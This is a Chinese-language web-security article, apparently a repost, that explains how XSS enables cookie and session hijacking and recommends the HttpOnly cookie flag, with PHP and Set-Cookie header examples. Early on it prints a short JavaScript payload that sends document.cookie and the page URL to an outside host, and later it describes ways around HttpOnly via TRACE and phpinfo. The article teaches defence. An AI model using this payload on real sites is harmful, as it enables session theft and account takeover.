隨著www服務的興起,越來越多的應用程式轉向了B/S結構,這樣只需要一個瀏覽器就可以訪問各種各樣的web服務,但是這樣也越來越導致了越來越多的web安全問題。www服務依賴於Http協議實現,Http是無狀態的協議,所以為了在各個會話之間傳遞資訊,就不可避免地用到Cookie或者Session等技術來標記訪問者的狀態,而無論是Cookie還是Session,一般都是利用Cookie來實現的(Session其實是在瀏覽器的Cookie裡帶了一個Token來標記,伺服器取得了這個Token並且檢查合法性之後就把伺服器上儲存的對應的狀態和瀏覽器綁定),這樣就不可避免地安全聚焦到了Cookie上面,只要獲得這個Cookie,就可以取得別人的身份,這對於入侵者是一件很美妙的事情,特別當獲得的Cookie屬於管理員等高許可權身份者時,危害就更大了。在各種web安全問題裡,其中xss漏洞就因此顯得格外危險。
對於應用程式來說,一旦存在了xss漏洞就意味著別人可以在你的瀏覽器中執行任意的js指令碼,如果應用程式是開源的或者功能是公開的話,別人就可以利用ajax使用這些功能,但是過程往往很煩瑣,特別是想直接獲得別人身份做隨意瀏覽的話困難就更大。而對於不開源的應用程式,譬如某些大型網站的web後台(web2.0一個顯著的特徵就是大量的互動,使用者往往需要跟背景管理員互動,譬如Bug彙報,或者資訊投遞等等),儘管因為互動的存在可能存在跨站指令碼漏洞,但是因為對背景不瞭解,無法構造完美的ajax代碼來利用,即使可以用js取得背景代碼並回傳分析,但是過程同樣煩瑣而且不隱蔽。這個時候,利用xss漏洞獲得Cookie或者Session劫持就很有效了,具體分析應用程式的認證,然後使用某些技巧,甚至可以即使對方退出程式也一樣永久性獲得對方的身份。
那麼如何獲得Cookie或者Session劫持呢?在瀏覽器中的document對象中,就儲存了Cookie的資訊,而利用js可以把這裡面的Cookie給取出來,只要得到這個Cookie就可以擁有別人的身份了。一個很典型的xss攻擊語句如下:
xss exp:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.loveshell.net/c.php?c='+cookie+'&u='+url;
一些應用程式考慮到這個問題所在,所以可能會採取瀏覽器綁定技術,譬如將Cookie和瀏覽器的User-agent綁定,一旦發現修改就認為Cookie失效。這種方法已經證明是無效的,因為當入侵者偷得Cookie的同時他肯定已經同時獲得了User-agent。還有另外一種比較嚴格的是將Cookie和Remote-addr相綁定(其實就是和IP綁定,但是一些程式取得IP的方法有問題一樣導致饒過),但是這樣就帶來很差的使用者體驗,更換Ip是經常的事,譬如上班與家裡就是2個IP,所以這種方法往往也不給予採用。所以基於Cookie的攻擊方式現在就非常流行,在一些web 2.0網站很容易就取到應用程式的管理員身份。
如何保障我們的敏感Cookie安全呢?通過上面的分析,一般的Cookie都是從document對象中獲得的,我們只要讓敏感Cookie在瀏覽器document中不可見就行了。很幸運,現在瀏覽器在設定Cookie的時候一般都接受一個叫做HttpOnly的參數,跟domain等其他參數一樣,一旦這個HttpOnly被設定,你在瀏覽器的document對象中就看不到Cookie了,而瀏覽器在瀏覽的時候不受任何影響,因為Cookie會被放在瀏覽器頭中發送出去(包括ajax的時候),應用程式也一般不會在js裡操作這些敏感Cookie的,對於一些敏感的Cookie我們採用HttpOnly,對於一些需要在應用程式中用js操作的cookie我們就不予設定,這樣就保障了Cookie資訊的安全也保證了應用。關於HttpOnly說明可以參照 http://msdn2.microsoft.com/en-us/library/ms533046.aspx。
給瀏覽器設定Cookie的頭如下:
Set-Cookie: <name>=<value>[; <name>=<value>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]
以php為例,在php 5.2版本時就已經在Setcookie函數加入了對HttpOnly的支援,譬如
<?php
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
?>
就可以設定abc這個cookie,將其設定為HttpOnly,document將不可見這個Cookie。因為setcookie函數本質就是個header,所以一樣可以使用header來設定HttpOnly。然後再使用document.cookie就可以看到已經取不到這個Cookie了。我們用這種方法來保護利例如Sessionid,如一些用於認證的auth-cookie,就不用擔心身份被人獲得了,這對於一些背景程式和webmail提升安全性的意義是重大的。再次使用上面的攻擊手法時可以看到,已經不能擷取被我們設定為HttpOnly的敏感Cookie了。
但是,也可以看到HttpOnly並不是萬能的,首先它並不能解決xss的問題,仍然不能抵制一些有耐心的駭客的攻擊,也不能防止入侵者做ajax提交,甚至一些基於xss的proxy也出現了,但是已經可以提高攻擊的門檻了,起碼xss攻擊不是每個指令碼小子都能完成的了,而且其他的那些攻擊手法因為一些環境和技術的限制,並不像Cookie竊取這種手法一樣通用。
HttpOnly也是可能利用一些漏洞或者配置Bypass的,關鍵問題是只要能取到瀏覽器發送的Cookie頭就可以了。譬如以前出現的Http Trace攻擊就可以將你的Header裡的Cookie回顯出來,利用ajax或者flash就可以完成這種攻擊,這種手法也已經在ajax和flash中獲得修補。另外一個關於配置或者應用程式上可能Bypass的顯著例子就是phpinfo,大家知道phpinfo會將瀏覽器發送的http頭回顯出來,其中就包括我們保護的auth資訊,而這個頁面經常存在在各種網站上,只要用ajax取phpinfo頁面,取出header頭對應的部分就可以獲得Cookie了。一些應用程式的不完善也可能導致header頭的泄露,這種攻擊方式對於basic驗證保護的頁面一樣可以攻擊。
HttpOnly在IE 6以上,Firefox較新版本都得到了比較好的支援,並且在如Hotmail等應用程式裡都有廣泛的使用,並且已經是取得了比較好的安全效果。
原文出處:http://www.sai52.com/archives/840/